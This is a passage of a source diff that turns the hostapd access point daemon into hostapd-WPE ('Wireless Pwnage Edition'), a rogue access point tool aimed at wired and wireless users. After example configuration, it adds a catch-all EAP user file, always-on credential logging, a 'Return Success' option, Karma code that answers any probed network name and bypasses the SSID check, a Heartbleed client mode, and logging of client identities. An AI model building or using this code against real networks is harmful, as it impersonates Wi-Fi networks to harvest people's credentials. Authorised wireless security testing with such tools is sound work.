++# WNM-Sleep Mode (extended sleep mode for stations)
++# 0 = disabled (default)
++# 1 = enabled (allow stations to use WNM-Sleep Mode)
++#wnm_sleep_mode=1
++
++# BSS Transition Management
++# 0 = disabled (default)
++# 1 = enabled
++#bss_transition=1
++
++# Proxy ARP
++# 0 = disabled (default)
++# 1 = enabled
++#proxy_arp=1
++
++# IPv6 Neighbor Advertisement multicast-to-unicast conversion
++# This can be used with Proxy ARP to allow multicast NAs to be forwarded to
++# associated STAs using link layer unicast delivery.
++# 0 = disabled (default)
++# 1 = enabled
++#na_mcast_to_ucast=0
++
++##### IEEE 802.11u-2011 #######################################################
++
++# Enable Interworking service
++#interworking=1
++
++# Access Network Type
++# 0 = Private network
++# 1 = Private network with guest access
++# 2 = Chargeable public network
++# 3 = Free public network
++# 4 = Personal device network
++# 5 = Emergency services only network
++# 14 = Test or experimental
++# 15 = Wildcard
++#access_network_type=0
++
++# Whether the network provides connectivity to the Internet
++# 0 = Unspecified
++# 1 = Network provides connectivity to the Internet
++#internet=1
++
++# Additional Step Required for Access
++# Note: This is only used with open network, i.e., ASRA shall ne set to 0 if
++# RSN is used.
++#asra=0
++
++# Emergency services reachable
++#esr=0
++
++# Unauthenticated emergency service accessible
++#uesa=0
++
++# Venue Info (optional)
++# The available values are defined in IEEE Std 802.11u-2011, 7.3.1.34.
++# Example values (group,type):
++# 0,0 = Unspecified
++# 1,7 = Convention Center
++# 1,13 = Coffee Shop
++# 2,0 = Unspecified Business
++# 7,1  Private Residence
++#venue_group=7
++#venue_type=1
++
++# Homogeneous ESS identifier (optional; dot11HESSID)
++# If set, this shall be identifical to one of the BSSIDs in the homogeneous
++# ESS and this shall be set to the same value across all BSSs in homogeneous
++# ESS.
++#hessid=02:03:04:05:06:07
++
++# Roaming Consortium List
++# Arbitrary number of Roaming Consortium OIs can be configured with each line
++# adding a new OI to the list. The first three entries are available through
++# Beacon and Probe Response frames. Any additional entry will be available only
++# through ANQP queries. Each OI is between 3 and 15 octets and is configured as
++# a hexstring.
++#roaming_consortium=021122
++#roaming_consortium=2233445566
++
++# Venue Name information
++# This parameter can be used to configure one or more Venue Name Duples for
++# Venue Name ANQP information. Each entry has a two or three character language
++# code (ISO-639) separated by colon from the venue name string.
++# Note that venue_group and venue_type have to be set for Venue Name
++# information to be complete.
++#venue_name=eng:Example venue
++#venue_name=fin:Esimerkkipaikka
++# Alternative format for language:value strings:
++# (double quoted string, printf-escaped string)
++#venue_name=P"eng:Example\nvenue"
++
++# Network Authentication Type
++# This parameter indicates what type of network authentication is used in the
++# network.
++# format: <network auth type indicator (1-octet hex str)> [redirect URL]
++# Network Authentication Type Indicator values:
++# 00 = Acceptance of terms and conditions
++# 01 = On-line enrollment supported
++# 02 = http/https redirection
++# 03 = DNS redirection
++#network_auth_type=00
++#network_auth_type=02http://www.example.com/redirect/me/here/
++
++# IP Address Type Availability
++# format: <1-octet encoded value as hex str>
++# (ipv4_type & 0x3f) << 2 | (ipv6_type & 0x3)
++# ipv4_type:
++# 0 = Address type not available
++# 1 = Public IPv4 address available
++# 2 = Port-restricted IPv4 address available
++# 3 = Single NATed private IPv4 address available
++# 4 = Double NATed private IPv4 address available
++# 5 = Port-restricted IPv4 address and single NATed IPv4 address available
++# 6 = Port-restricted IPv4 address and double NATed IPv4 address available
++# 7 = Availability of the address type is not known
++# ipv6_type:
++# 0 = Address type not available
++# 1 = Address type available
++# 2 = Availability of the address type not known
++#ipaddr_type_availability=14
++
++# Domain Name
++# format: <variable-octet str>[,<variable-octet str>]
++#domain_name=example.com,another.example.com,yet-another.example.com
++
++# 3GPP Cellular Network information
++# format: <MCC1,MNC1>[;<MCC2,MNC2>][;...]
++#anqp_3gpp_cell_net=244,91;310,026;234,56
++
++# NAI Realm information
++# One or more realm can be advertised. Each nai_realm line adds a new realm to
++# the set. These parameters provide information for stations using Interworking
++# network selection to allow automatic connection to a network based on
++# credentials.
++# format: <encoding>,<NAI Realm(s)>[,<EAP Method 1>][,<EAP Method 2>][,...]
++# encoding:
++#	0 = Realm formatted in accordance with IETF RFC 4282
++#	1 = UTF-8 formatted character string that is not formatted in
++#	    accordance with IETF RFC 4282
++# NAI Realm(s): Semi-colon delimited NAI Realm(s)
++# EAP Method: <EAP Method>[:<[AuthParam1:Val1]>][<[AuthParam2:Val2]>][...]
++# EAP Method types, see:
++# http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-4
++# AuthParam (Table 8-188 in IEEE Std 802.11-2012):
++# ID 2 = Non-EAP Inner Authentication Type
++#	1 = PAP, 2 = CHAP, 3 = MSCHAP, 4 = MSCHAPV2
++# ID 3 = Inner authentication EAP Method Type
++# ID 5 = Credential Type
++#	1 = SIM, 2 = USIM, 3 = NFC Secure Element, 4 = Hardware Token,
++#	5 = Softoken, 6 = Certificate, 7 = username/password, 9 = Anonymous,
++#	10 = Vendor Specific
++#nai_realm=0,example.com;example.net
++# EAP methods EAP-TLS with certificate and EAP-TTLS/MSCHAPv2 with
++# username/password
++#nai_realm=0,example.org,13[5:6],21[2:4][5:7]
++
++# Arbitrary ANQP-element configuration
++# Additional ANQP-elements with arbitrary values can be defined by specifying
++# their contents in raw format as a hexdump of the payload. Note that these
++# values will override ANQP-element contents that may have been specified in the
++# more higher layer configuration parameters listed above.
++# format: anqp_elem=<InfoID>:<hexdump of payload>
++# For example, AP Geospatial Location ANQP-element with unknown location:
++#anqp_elem=265:0000
++# For example, AP Civic Location ANQP-element with unknown location:
++#anqp_elem=266:000000
++
++# GAS Address 3 behavior
++# 0 = P2P specification (Address3 = AP BSSID) workaround enabled by default
++#     based on GAS request Address3
++# 1 = IEEE 802.11 standard compliant regardless of GAS request Address3
++# 2 = Force non-compliant behavior (Address3 = AP BSSID for all cases)
++#gas_address3=0
++
++# QoS Map Set configuration
++#
++# Comma delimited QoS Map Set in decimal values
++# (see IEEE Std 802.11-2012, 8.4.2.97)
++#
++# format:
++# [<DSCP Exceptions[DSCP,UP]>,]<UP 0 range[low,high]>,...<UP 7 range[low,high]>
++#
++# There can be up to 21 optional DSCP Exceptions which are pairs of DSCP Value
++# (0..63 or 255) and User Priority (0..7). This is followed by eight DSCP Range
++# descriptions with DSCP Low Value and DSCP High Value pairs (0..63 or 255) for
++# each UP starting from 0. If both low and high value are set to 255, the
++# corresponding UP is not used.
++#
++# default: not set
++#qos_map_set=53,2,22,6,8,15,0,7,255,255,16,31,32,39,255,255,40,47,255,255
++
++##### Hotspot 2.0 #############################################################
++
++# Enable Hotspot 2.0 support
++#hs20=1
++
++# Disable Downstream Group-Addressed Forwarding (DGAF)
++# This can be used to configure a network where no group-addressed frames are
++# allowed. The AP will not forward any group-address frames to the stations and
++# random GTKs are issued for each station to prevent associated stations from
++# forging such frames to other stations in the BSS.
++#disable_dgaf=1
++
++# OSU Server-Only Authenticated L2 Encryption Network
++#osen=1
++
++# ANQP Domain ID (0..65535)
++# An identifier for a set of APs in an ESS that share the same common ANQP
++# information. 0 = Some of the ANQP information is unique to this AP (default).
++#anqp_domain_id=1234
++
++# Deauthentication request timeout
++# If the RADIUS server indicates that the station is not allowed to connect to
++# the BSS/ESS, the AP can allow the station some time to download a
++# notification page (URL included in the message). This parameter sets that
++# timeout in seconds.
++#hs20_deauth_req_timeout=60
++
++# Operator Friendly Name
++# This parameter can be used to configure one or more Operator Friendly Name
++# Duples. Each entry has a two or three character language code (ISO-639)
++# separated by colon from the operator friendly name string.
++#hs20_oper_friendly_name=eng:Example operator
++#hs20_oper_friendly_name=fin:Esimerkkioperaattori
++
++# Connection Capability
++# This can be used to advertise what type of IP traffic can be sent through the
++# hotspot (e.g., due to firewall allowing/blocking protocols/ports).
++# format: <IP Protocol>:<Port Number>:<Status>
++# IP Protocol: 1 = ICMP, 6 = TCP, 17 = UDP
++# Port Number: 0..65535
++# Status: 0 = Closed, 1 = Open, 2 = Unknown
++# Each hs20_conn_capab line is added to the list of advertised tuples.
++#hs20_conn_capab=1:0:2
++#hs20_conn_capab=6:22:1
++#hs20_conn_capab=17:5060:0
++
++# WAN Metrics
++# format: <WAN Info>:<DL Speed>:<UL Speed>:<DL Load>:<UL Load>:<LMD>
++# WAN Info: B0-B1: Link Status, B2: Symmetric Link, B3: At Capabity
++#    (encoded as two hex digits)
++#    Link Status: 1 = Link up, 2 = Link down, 3 = Link in test state
++# Downlink Speed: Estimate of WAN backhaul link current downlink speed in kbps;
++#	1..4294967295; 0 = unknown
++# Uplink Speed: Estimate of WAN backhaul link current uplink speed in kbps
++#	1..4294967295; 0 = unknown
++# Downlink Load: Current load of downlink WAN connection (scaled to 255 = 100%)
++# Uplink Load: Current load of uplink WAN connection (scaled to 255 = 100%)
++# Load Measurement Duration: Duration for measuring downlink/uplink load in
++# tenths of a second (1..65535); 0 if load cannot be determined
++#hs20_wan_metrics=01:8000:1000:80:240:3000
++
++# Operating Class Indication
++# List of operating classes the BSSes in this ESS use. The Global operating
++# classes in Table E-4 of IEEE Std 802.11-2012 Annex E define the values that
++# can be used in this.
++# format: hexdump of operating class octets
++# for example, operating classes 81 (2.4 GHz channels 1-13) and 115 (5 GHz
++# channels 36-48):
++#hs20_operating_class=5173
++
++# OSU icons
++# <Icon Width>:<Icon Height>:<Language code>:<Icon Type>:<Name>:<file path>
++#hs20_icon=32:32:eng:image/png:icon32:/tmp/icon32.png
++#hs20_icon=64:64:eng:image/png:icon64:/tmp/icon64.png
++
++# OSU SSID (see ssid2 for format description)
++# This is the SSID used for all OSU connections to all the listed OSU Providers.
++#osu_ssid="example"
++
++# OSU Providers
++# One or more sets of following parameter. Each OSU provider is started by the
++# mandatory osu_server_uri item. The other parameters add information for the
++# last added OSU provider.
++#
++#osu_server_uri=https://example.com/osu/
++#osu_friendly_name=eng:Example operator
++#osu_friendly_name=fin:Esimerkkipalveluntarjoaja
++#osu_nai=anonymous@example.com
++#osu_method_list=1 0
++#osu_icon=icon32
++#osu_icon=icon64
++#osu_service_desc=eng:Example services
++#osu_service_desc=fin:Esimerkkipalveluja
++#
++#osu_server_uri=...
++
++##### Fast Session Transfer (FST) support #####################################
++#
++# The options in this section are only available when the build configuration
++# option CONFIG_FST is set while compiling hostapd. They allow this interface
++# to be a part of FST setup.
++#
++# FST is the transfer of a session from a channel to another channel, in the
++# same or different frequency bands.
++#
++# For detals, see IEEE Std 802.11ad-2012.
++
++# Identifier of an FST Group the interface belongs to.
++#fst_group_id=bond0
++
++# Interface priority within the FST Group.
++# Announcing a higher priority for an interface means declaring it more
++# preferable for FST switch.
++# fst_priority is in 1..255 range with 1 being the lowest priority.
++#fst_priority=100
++
++# Default LLT value for this interface in milliseconds. The value used in case
++# no value provided during session setup. Default is 50 ms.
++# fst_llt is in 1..4294967 range (due to spec limitation, see 10.32.2.2
++# Transitioning between states).
++#fst_llt=100
++
++##### Radio measurements / location ###########################################
++
++# The content of a LCI measurement subelement
++#lci=<Hexdump of binary data of the LCI report>
++
++# The content of a location civic measurement subelement
++#civic=<Hexdump of binary data of the location civic report>
++
++# Enable neighbor report via radio measurements
++#rrm_neighbor_report=1
++
++# Publish fine timing measurement (FTM) responder functionality
++# This parameter only controls publishing via Extended Capabilities element.
++# Actual functionality is managed outside hostapd.
++#ftm_responder=0
++
++# Publish fine timing measurement (FTM) initiator functionality
++# This parameter only controls publishing via Extended Capabilities element.
++# Actual functionality is managed outside hostapd.
++#ftm_initiator=0
++
++##### TESTING OPTIONS #########################################################
++#
++# The options in this section are only available when the build configuration
++# option CONFIG_TESTING_OPTIONS is set while compiling hostapd. They allow
++# testing some scenarios that are otherwise difficult to reproduce.
++#
++# Ignore probe requests sent to hostapd with the given probability, must be a
++# floating point number in the range [0, 1).
++#ignore_probe_probability=0.0
++#
++# Ignore authentication frames with the given probability
++#ignore_auth_probability=0.0
++#
++# Ignore association requests with the given probability
++#ignore_assoc_probability=0.0
++#
++# Ignore reassociation requests with the given probability
++#ignore_reassoc_probability=0.0
++#
++# Corrupt Key MIC in GTK rekey EAPOL-Key frames with the given probability
++#corrupt_gtk_rekey_mic_probability=0.0
++#
++# Include only ECSA IE without CSA IE where possible
++# (channel switch operating class is needed)
++#ecsa_ie_only=0
++
++##### Multiple BSSID support ##################################################
++#
++# Above configuration is using the default interface (wlan#, or multi-SSID VLAN
++# interfaces). Other BSSIDs can be added by using separator 'bss' with
++# default interface name to be allocated for the data packets of the new BSS.
++#
++# hostapd will generate BSSID mask based on the BSSIDs that are
++# configured. hostapd will verify that dev_addr & MASK == dev_addr. If this is
++# not the case, the MAC address of the radio must be changed before starting
++# hostapd (ifconfig wlan0 hw ether <MAC addr>). If a BSSID is configured for
++# every secondary BSS, this limitation is not applied at hostapd and other
++# masks may be used if the driver supports them (e.g., swap the locally
++# administered bit)
++#
++# BSSIDs are assigned in order to each BSS, unless an explicit BSSID is
++# specified using the 'bssid' parameter.
++# If an explicit BSSID is specified, it must be chosen such that it:
++# - results in a valid MASK that covers it and the dev_addr
++# - is not the same as the MAC address of the radio
++# - is not the same as any other explicitly specified BSSID
++#
++# Alternatively, the 'use_driver_iface_addr' parameter can be used to request
++# hostapd to use the driver auto-generated interface address (e.g., to use the
++# exact MAC addresses allocated to the device).
++#
++# Not all drivers support multiple BSSes. The exact mechanism for determining
++# the driver capabilities is driver specific. With the current (i.e., a recent
++# kernel) drivers using nl80211, this information can be checked with "iw list"
++# (search for "valid interface combinations").
++#
++# Please note that hostapd uses some of the values configured for the first BSS
++# as the defaults for the following BSSes. However, it is recommended that all
++# BSSes include explicit configuration of all relevant configuration items.
++#
++#bss=wlan0_0
++#ssid=test2
++# most of the above items can be used here (apart from radio interface specific
++# items, like channel)
++
++#bss=wlan0_1
++#bssid=00:13:10:95:fe:0b
++# ...
+diff -rupN hostapd-2.6/hostapd/hostapd-wpe.eap_user hostapd-2.6-wpe/hostapd/hostapd-wpe.eap_user
+--- hostapd-2.6/hostapd/hostapd-wpe.eap_user	1970-01-01 01:00:00.000000000 +0100
++++ hostapd-2.6-wpe/hostapd/hostapd-wpe.eap_user	2018-05-21 11:37:58.859577170 +0200
+@@ -0,0 +1,107 @@
++# hostapd user database for integrated EAP server
++
++# Each line must contain an identity, EAP method(s), and an optional password
++# separated with whitespace (space or tab). The identity and password must be
++# double quoted ("user"). Password can alternatively be stored as
++# NtPasswordHash (16-byte MD4 hash of the unicode presentation of the password
++# in unicode) if it is used for MSCHAP or MSCHAPv2 authentication. This means
++# that the plaintext password does not need to be included in the user file.
++# Password hash is stored as hash:<16-octets of hex data> without quotation
++# marks.
++
++# [2] flag in the end of the line can be used to mark users for tunneled phase
++# 2 authentication (e.g., within EAP-PEAP). In these cases, an anonymous
++# identity can be used in the unencrypted phase 1 and the real user identity
++# is transmitted only within the encrypted tunnel in phase 2. If non-anonymous
++# access is needed, two user entries is needed, one for phase 1 and another
++# with the same username for phase 2.
++#
++# EAP-TLS, EAP-PEAP, EAP-TTLS, EAP-FAST, EAP-SIM, and EAP-AKA do not use
++# password option.
++# EAP-MD5, EAP-MSCHAPV2, EAP-GTC, EAP-PAX, EAP-PSK, and EAP-SAKE require a
++# password.
++# EAP-PEAP, EAP-TTLS, and EAP-FAST require Phase 2 configuration.
++#
++# * can be used as a wildcard to match any user identity. The main purposes for
++# this are to set anonymous phase 1 identity for EAP-PEAP and EAP-TTLS and to
++# avoid having to configure every certificate for EAP-TLS authentication. The
++# first matching entry is selected, so * should be used as the last phase 1
++# user entry.
++#
++# "prefix"* can be used to match the given prefix and anything after this. The
++# main purpose for this is to be able to avoid EAP method negotiation when the
++# method is using known prefix in identities (e.g., EAP-SIM and EAP-AKA). This
++# is only allowed for phase 1 identities.
++#
++# Multiple methods can be configured to make the authenticator try them one by
++# one until the peer accepts one. The method names are separated with a
++# comma (,).
++#
++# [ver=0] and [ver=1] flags after EAP type PEAP can be used to force PEAP
++# version based on the Phase 1 identity. Without this flag, the EAP
++# authenticator advertises the highest supported version and select the version
++# based on the first PEAP packet from the supplicant.
++#
++# EAP-TTLS supports both EAP and non-EAP authentication inside the tunnel.
++# Tunneled EAP methods are configured with standard EAP method name and [2]
++# flag. Non-EAP methods can be enabled by following method names: TTLS-PAP,
++# TTLS-CHAP, TTLS-MSCHAP, TTLS-MSCHAPV2. TTLS-PAP and TTLS-CHAP require a
++# plaintext password while TTLS-MSCHAP and TTLS-MSCHAPV2 can use NT password
++# hash.
++#
++# Arbitrary RADIUS attributes can be added into Access-Accept packets similarly
++# to the way radius_auth_req_attr is used for Access-Request packet in
++# hostapd.conf. For EAP server, this is configured separately for each user
++# entry with radius_accept_attr=<value> line(s) following the main user entry
++# line.
++
++# Phase 1 users
++#"user"		MD5	"password"
++#"test user"	MD5	"secret"
++#"example user"	TLS
++#"DOMAIN\user"	MSCHAPV2	"password"
++#"gtc user"	GTC	"password"
++#"pax user"	PAX	"unknown"
++#"pax.user@example.com"	PAX	0123456789abcdef0123456789abcdef
++#"psk user"	PSK	"unknown"
++#"psk.user@example.com"	PSK	0123456789abcdef0123456789abcdef
++#"sake.user@example.com"	SAKE	0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
++#"ttls"		TTLS
++#"not anonymous"	PEAP
++# Default to EAP-SIM and EAP-AKA based on fixed identity prefixes
++#"0"*		AKA,TTLS,TLS,PEAP,SIM
++#"1"*		SIM,TTLS,TLS,PEAP,AKA
++#"2"*		AKA,TTLS,TLS,PEAP,SIM
++#"3"*		SIM,TTLS,TLS,PEAP,AKA
++#"4"*		AKA,TTLS,TLS,PEAP,SIM
++#"5"*		SIM,TTLS,TLS,PEAP,AKA
++#"6"*		AKA'
++#"7"*		AKA'
++#"8"*		AKA'
++
++# Wildcard for all other identities
++#*		PEAP,TTLS,TLS,SIM,AKA
++
++# Phase 2 (tunnelled within EAP-PEAP or EAP-TTLS) users
++#"t-md5"		MD5	"password"	[2]
++#"DOMAIN\t-mschapv2"	MSCHAPV2	"password"	[2]
++#"t-gtc"		GTC	"password"	[2]
++#"not anonymous"	MSCHAPV2	"password"	[2]
++#"user"		MD5,GTC,MSCHAPV2	"password"	[2]
++#"test user"	MSCHAPV2	hash:000102030405060708090a0b0c0d0e0f	[2]
++#"ttls-user"	TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,TTLS-MSCHAPV2	"password"	[2]
++
++# Default to EAP-SIM and EAP-AKA based on fixed identity prefixes in phase 2
++#"0"*		AKA	[2]
++#"1"*		SIM	[2]
++#"2"*		AKA	[2]
++#"3"*		SIM	[2]
++#"4"*		AKA	[2]
++#"5"*		SIM	[2]
++#"6"*		AKA'	[2]
++#"7"*		AKA'	[2]
++#"8"*		AKA'	[2]
++
++# WPE - DO NOT REMOVE - These entries are specifically in here 
++*		PEAP,TTLS,TLS,FAST
++"t"	    TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2  "t"	[2]
+diff -rupN hostapd-2.6/hostapd/main.c hostapd-2.6-wpe/hostapd/main.c
+--- hostapd-2.6/hostapd/main.c	2016-10-02 20:51:11.000000000 +0200
++++ hostapd-2.6-wpe/hostapd/main.c	2018-05-21 11:37:58.859577170 +0200
+@@ -28,7 +28,7 @@
+ #include "config_file.h"
+ #include "eap_register.h"
+ #include "ctrl_iface.h"
+-
++#include "wpe/wpe.h"
+ 
+ struct hapd_global {
+ 	void **drv_priv;
+@@ -448,11 +448,16 @@ static int hostapd_global_run(struct hap
+ static void show_version(void)
+ {
+ 	fprintf(stderr,
+-		"hostapd v" VERSION_STR "\n"
++		"hostapd-WPE v" VERSION_STR "\n"
+ 		"User space daemon for IEEE 802.11 AP management,\n"
+ 		"IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator\n"
+ 		"Copyright (c) 2002-2016, Jouni Malinen <j@w1.fi> "
+-		"and contributors\n");
++		"and contributors\n"
++		"-----------------------------------------------------\n"
++		"WPE (Wireless Pwnage Edition)\n"
++		"This version has been cleverly modified to target\n"
++		"wired and wireless users.\n"
++		"Thomas d'Otreppe <@aircrackng>");
+ }
+ 
+ 
+@@ -461,7 +466,7 @@ static void usage(void)
+ 	show_version();
+ 	fprintf(stderr,
+ 		"\n"
+-		"usage: hostapd [-hdBKtv] [-P <PID file>] [-e <entropy file>] "
++		"usage: hostapd-wpe [-hdBKtvskc] [-P <PID file>] [-e <entropy file>] "
+ 		"\\\n"
+ 		"         [-g <global ctrl_iface>] [-G <group>]\\\n"
+ 		"         [-i <comma-separated list of interface names>]\\\n"
+@@ -486,7 +491,15 @@ static void usage(void)
+ 		"   -i   list of interface names to use\n"
+ 		"   -S   start all the interfaces synchronously\n"
+ 		"   -t   include timestamps in some debug messages\n"
+-		"   -v   show hostapd version\n");
++		"   -v   show hostapd version\n\n"
++		"\n"
++		" WPE Options -------------------\n"
++		"       (credential logging always enabled)\n"
++		"   -s   Return Success where possible\n"
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++		"   -c   Cupid Mode (Heartbleed clients)\n\n"
++#endif
++		"   -k   Karma Mode (Respond to all probes)\n\n");
+ 
+ 	exit(1);
+ }
+@@ -661,7 +674,7 @@ int main(int argc, char *argv[])
+ 	dl_list_init(&interfaces.global_ctrl_dst);
+ 
+ 	for (;;) {
+-		c = getopt(argc, argv, "b:Bde:f:hi:KP:STtu:vg:G:");
++		c = getopt(argc, argv, "b:Bde:f:hi:KP:STtu:vg:G:kcs");
+ 		if (c < 0)
+ 			break;
+ 		switch (c) {
+@@ -725,6 +738,15 @@ int main(int argc, char *argv[])
+ 		case 'u':
+ 			return gen_uuid(optarg);
+ #endif /* CONFIG_WPS */
++		case 'k':
++			wpe_conf.wpe_enable_karma++;
++			break;
++		case 'c':
++			wpe_conf.wpe_enable_cupid++;
++			break;
++		case 's':
++			wpe_conf.wpe_enable_return_success++;
++			break;
+ 		case 'i':
+ 			if (hostapd_get_interface_names(&if_names,
+ 							&if_names_size, optarg))
+diff -rupN hostapd-2.6/hostapd/Makefile hostapd-2.6-wpe/hostapd/Makefile
+--- hostapd-2.6/hostapd/Makefile	2016-10-02 20:51:11.000000000 +0200
++++ hostapd-2.6-wpe/hostapd/Makefile	2018-05-21 11:37:58.863577170 +0200
+@@ -86,6 +86,7 @@ OBJS += ../src/ap/beacon.o
+ OBJS += ../src/ap/bss_load.o
+ OBJS += ../src/ap/neighbor_db.o
+ OBJS += ../src/ap/rrm.o
++OBJS += ../src/wpe/wpe.o
+ 
+ OBJS_c = hostapd_cli.o
+ OBJS_c += ../src/common/wpa_ctrl.o
+@@ -1012,7 +1013,7 @@ OBJS += ../src/fst/fst_ctrl_iface.o
+ endif
+ endif
+ 
+-ALL=hostapd hostapd_cli
++ALL=hostapd-wpe hostapd-wpe_cli
+ 
+ all: verify_config $(ALL)
+ 
+@@ -1051,6 +1052,15 @@ $(DESTDIR)$(BINDIR)/%: %
+ 
+ install: $(addprefix $(DESTDIR)$(BINDIR)/,$(ALL))
+ 
++wpe:
++	install -d $(DESTDIR)/etc/hostapd-wpe
++	install -m 644 hostapd-wpe.conf hostapd-wpe.eap_user $(DESTDIR)/etc/hostapd-wpe
++	install -d $(DESTDIR)/etc/hostapd-wpe/certs
++	install -d $(DESTDIR)/etc/hostapd-wpe/certs/demoCA
++	install -m 644 certs/demoCA/cacert.pem $(DESTDIR)/etc/hostapd-wpe/certs/demoCA
++	install -m 755 certs/bootstrap $(DESTDIR)/etc/hostapd-wpe/certs
++	install -m 644 certs/ca.cnf certs/client.cnf certs/Makefile certs/README certs/README.wpe certs/server.cnf certs/xpextensions $(DESTDIR)/etc/hostapd-wpe/certs
++
+ ../src/drivers/build.hostapd:
+ 	@if [ -f ../src/drivers/build.wpa_supplicant ]; then \
+ 		$(MAKE) -C ../src/drivers clean; \
+@@ -1059,15 +1069,15 @@ install: $(addprefix $(DESTDIR)$(BINDIR)
+ 
+ BCHECK=../src/drivers/build.hostapd
+ 
+-hostapd: $(BCHECK) $(OBJS)
+-	$(Q)$(CC) $(LDFLAGS) -o hostapd $(OBJS) $(LIBS)
++hostapd-wpe: $(BCHECK) $(OBJS)
++	$(Q)$(CC) $(LDFLAGS) -o hostapd-wpe $(OBJS) $(LIBS)
+ 	@$(E) "  LD " $@
+ 
+ ifdef CONFIG_WPA_TRACE
+ OBJS_c += ../src/utils/trace.o
+ endif
+-hostapd_cli: $(OBJS_c)
+-	$(Q)$(CC) $(LDFLAGS) -o hostapd_cli $(OBJS_c) $(LIBS_c)
++hostapd-wpe_cli: $(OBJS_c)
++	$(Q)$(CC) $(LDFLAGS) -o hostapd-wpe_cli $(OBJS_c) $(LIBS_c)
+ 	@$(E) "  LD " $@
+ 
+ NOBJS = nt_password_hash.o ../src/crypto/ms_funcs.o $(SHA1OBJS)
+@@ -1114,7 +1124,7 @@ lcov-html:
+ 
+ clean:
+ 	$(MAKE) -C ../src clean
+-	rm -f core *~ *.o hostapd hostapd_cli nt_password_hash hlr_auc_gw
++	rm -f core *~ *.o hostapd-wpe hostapd-wpe_cli nt_password_hash hlr_auc_gw
+ 	rm -f *.d *.gcno *.gcda *.gcov
+ 	rm -f lcov.info
+ 	rm -rf lcov-html
+diff -rupN hostapd-2.6/src/ap/beacon.c hostapd-2.6-wpe/src/ap/beacon.c
+--- hostapd-2.6/src/ap/beacon.c	2016-10-02 20:51:11.000000000 +0200
++++ hostapd-2.6-wpe/src/ap/beacon.c	2018-05-21 11:37:58.863577170 +0200
+@@ -30,7 +30,7 @@
+ #include "hs20.h"
+ #include "dfs.h"
+ #include "taxonomy.h"
+-
++#include "wpe/wpe.h"
+ 
+ #ifdef NEED_AP_MLME
+ 
+@@ -817,6 +817,13 @@ void handle_probe_req(struct hostapd_dat
+ 	}
+ #endif /* CONFIG_TAXONOMY */
+ 
++    if (wpe_conf.wpe_enable_karma && elems.ssid_len > 0) {
++            wpa_printf(MSG_MSGDUMP,"[WPE] Probe request from " MACSTR ", changing SSID to '%s'", MAC2STR(mgmt->sa), wpa_ssid_txt(elems.ssid, elems.ssid_len));
++            hostapd_set_ssid(hapd,elems.ssid,elems.ssid_len); 
++            os_memcpy(&hapd->conf->ssid.ssid,elems.ssid,elems.ssid_len);
++            hapd->conf->ssid.ssid_len = elems.ssid_len;
++    } 
++
+ 	res = ssid_match(hapd, elems.ssid, elems.ssid_len,
+ 			 elems.ssid_list, elems.ssid_list_len);
+ 	if (res == NO_SSID_MATCH) {
+diff -rupN hostapd-2.6/src/ap/ieee802_11.c hostapd-2.6-wpe/src/ap/ieee802_11.c
+--- hostapd-2.6/src/ap/ieee802_11.c	2016-10-02 20:51:11.000000000 +0200
++++ hostapd-2.6-wpe/src/ap/ieee802_11.c	2018-05-21 11:37:58.863577170 +0200
+@@ -45,7 +45,7 @@
+ #include "mbo_ap.h"
+ #include "rrm.h"
+ #include "taxonomy.h"
+-
++#include "wpe/wpe.h"
+ 
+ u8 * hostapd_eid_supp_rates(struct hostapd_data *hapd, u8 *eid)
+ {
+@@ -1418,8 +1418,8 @@ static u16 check_ssid(struct hostapd_dat
+ 	if (ssid_ie == NULL)
+ 		return WLAN_STATUS_UNSPECIFIED_FAILURE;
+ 
+-	if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
+-	    os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
++	if ((!wpe_conf.wpe_enable_karma) && (ssid_ie_len != hapd->conf->ssid.ssid_len ||
++	    os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) {
+ 		hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
+ 			       HOSTAPD_LEVEL_INFO,
+ 			       "Station tried to associate with unknown SSID "
+diff -rupN hostapd-2.6/src/ap/ieee802_1x.c hostapd-2.6-wpe/src/ap/ieee802_1x.c
+--- hostapd-2.6/src/ap/ieee802_1x.c	2016-10-02 20:51:11.000000000 +0200
++++ hostapd-2.6-wpe/src/ap/ieee802_1x.c	2018-05-21 11:54:26.455559484 +0200
+@@ -729,6 +729,9 @@ static void handle_eap_response(struct h
+ {
+ 	u8 type, *data;
+ 	struct eapol_state_machine *sm = sta->eapol_sm;
++	const u8 *identity;
++	size_t identity_len;
++
+ 	if (sm == NULL)
+ 		return;
+ 
+@@ -747,6 +750,16 @@ static void handle_eap_response(struct h
+ 		       eap->code, eap->identifier, be_to_host16(eap->length),
+ 		       eap_server_get_name(0, type), type);
+ 
++/* Print Response-Identity from STA*/
++	identity = eap_get_identity(sm->eap, &identity_len);
++	os_free(sm->identity);
++	sm->identity = (u8 *) dup_binstr(identity, identity_len);
++	sm->identity_len = identity_len;
++	if (identity != NULL) {
++		hostapd_logger(hapd, sm->addr, HOSTAPD_MODULE_IEEE8021X,
++		       HOSTAPD_LEVEL_INFO, "Identity received from STA: '%s'", sm->identity);
++	}
++
+ 	sm->dot1xAuthEapolRespFramesRx++;
+ 
+ 	wpabuf_free(sm->eap_if->eapRespData);
+diff -rupN hostapd-2.6/src/crypto/ms_funcs.h hostapd-2.6-wpe/src/crypto/ms_funcs.h
+--- hostapd-2.6/src/crypto/ms_funcs.h	2016-10-02 20:51:11.000000000 +0200
++++ hostapd-2.6-wpe/src/crypto/ms_funcs.h	2018-05-21 11:37:58.863577170 +0200
+@@ -9,6 +9,10 @@
+ #ifndef MS_FUNCS_H
+ #define MS_FUNCS_H
+ 
++int challenge_hash(const u8 *peer_challenge, const u8 *auth_challenge,
++              const u8 *username, size_t username_len,
++              u8 *challenge);
++
+ int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge,
+ 			 const u8 *username, size_t username_len,
+ 			 const u8 *password, size_t password_len,
+diff -rupN hostapd-2.6/src/crypto/tls_openssl.c hostapd-2.6-wpe/src/crypto/tls_openssl.c
